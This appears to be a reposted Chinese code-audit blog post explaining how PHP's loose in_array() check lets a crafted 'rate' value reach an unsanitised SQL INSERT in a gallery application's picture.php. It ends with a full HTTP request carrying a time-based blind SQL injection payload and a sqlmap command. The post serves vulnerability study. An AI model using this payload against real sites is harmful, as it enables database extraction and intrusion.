PHP审计之in_array函数缺陷绕过

PHP审计之in_array函数缺陷绕过in_array函数函数使用in_array:(PHP4,PHP5,PHP7)功能:检查数组中是否存在某个值定义:boolin_a

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

PHP审计之in_array函数缺陷绕过

in_array函数

函数使用

in_array :(PHP 4, PHP 5, PHP 7)

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

设计缺陷

在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。

in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()函数强制转换后变为7.php

代码审计

漏洞代码在picture.php中,

if (isset($_GET['action']))
{
  switch ($_GET['action'])
  {
    case 'add_to_favorites' :
          ...
               case 'rate' :
    {
   include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }

获取action参数如果为rate的,则包含include/functions_rate.inc.php文件并且调用其中的rate_picture,并且传递页面的id值与post数据接受过来的rate。

rate_picture函数代码

function rate_picture($image_id, $rate)
{
  global $conf, $user;

  if (!isset($rate)
      or !$conf['rate']
      or !in_array($rate, $conf['rate_items']))
  {
    return false;
  }

判断$rate不为或者$conf[‘rate’]值存在,或in_array($rate, $conf['rate_items'])),则$rate值不在$conf['rate_items'])中则返回false。

PHP审计之in_array函数缺陷绕过

$conf['rate_items'] = array(0,1,2,3,4,5);

来到下面代码,下面代码中进行了sql语句的执行,并且了$rate内容进去。而$rate内容在前面的代码判断中是需要为array(0,1,2,3,4,5);数组内的int内容。

  $query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

而这时候就需要用到in_array的缺陷绕过。不然的话走到上面的判断in_array($rate, $conf['rate_items'])中地方就直接返回false,不往下走了。

POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded

rate=1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3))
sqlmap -r 1.txt -p rate -v 3 --tech=T
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119838.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • mysql数据库用户修改密码_mysql8修改密码

    mysql数据库用户修改密码_mysql8修改密码方法1:用SETPASSWORD命令首先登录MySQL。格式:mysql>setpasswordfor用户名@localhost=password(‘新密码‘);例子:mysql>setpasswordforroot@localhost=password(‘123‘);方法2:用mysqladmin格式:mysqladmin-u用户名-p旧密码pass…

    2022年8月13日
  • 软件测试基础理论知识「建议收藏」

    今年九月初找工作才开始走上软件测试的道路,下面的是我找软件测试这份工作之前通过阅读软件测评师教程做的笔记。因为是为找工作中的笔试和面试准备的,所以都是一些重点的罗列,希望能帮到正在找软件测试工作的应届生们。  1、软件测试的目的是发现软件中存在的错误,提高软件质量,降低软件项目的风险。2、软件测试只能证明软件存在错误,而不能证明软件没有错误。测试的目的只是把软件的错误控制在一个可以…

    2022年4月7日
  • 模仿学习笔记:行为克隆

    模仿学习笔记:行为克隆1模仿学习模仿学习(ImitationLearning)不是强化学习,而是强化学习的一种替代品。 模仿学习与强化学习有相同的目的: 两者的目的都是学习策略网络,从而控制智能体。 模仿学习与强化学习又有不同的原理: 模仿学习向人类专家学习,目标是让策略网络做出的决策与人类专家相同; 强化学习利用环境反馈的奖励改进策略,目标是让累计奖励(即回报)最大化。 2行为克隆概述行为克隆(BehaviorCloning)是最简单的模仿学习。 行为克隆的目的是模仿人的动作

    2022年9月15日
  • pandas数据清洗详细教程_excel数据清洗工具

    pandas数据清洗详细教程_excel数据清洗工具Pandas数据清洗常见方法01读取数据df=pd.read_csv(‘文件名称’)02查看数据特征df.info()03查看数据量df.shape04查看各数字类型的统计量df.describe()05去除重复值df.drop_duplicates(inplace=True)06重置索引data.reset_index(inplace=True,drop=True)07查看缺失值信息data.loc[data[‘列名’].isnull()]01

    2022年9月7日
  • System.setProperty用法

    System.setProperty用法setProperty(Stringprop,Stringvalue)—–设定健值对到系统内存中(操作系统变量的方法)。首先我们来了解一下参数:prop-系统属性的名称。value-系统属性的值正确的返回值情况:系统没有查到健值,返回null,查到的话返回value值。抛错情况:SecurityException-如果安全管理器存在并且其checkPermission方法不允许设置指定属性。NullPointerException-如果key或v.

    2022年7月12日
  • 软件工程与软件测试_软件工程导论(第六版)

    软件工程与软件测试_软件工程导论(第六版)1.软件测试基础2.单元测试3.集成测试4. 确认测试5.白盒测试技术6.黑盒测试技术7.调试8.软件可靠性

    2022年10月4日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号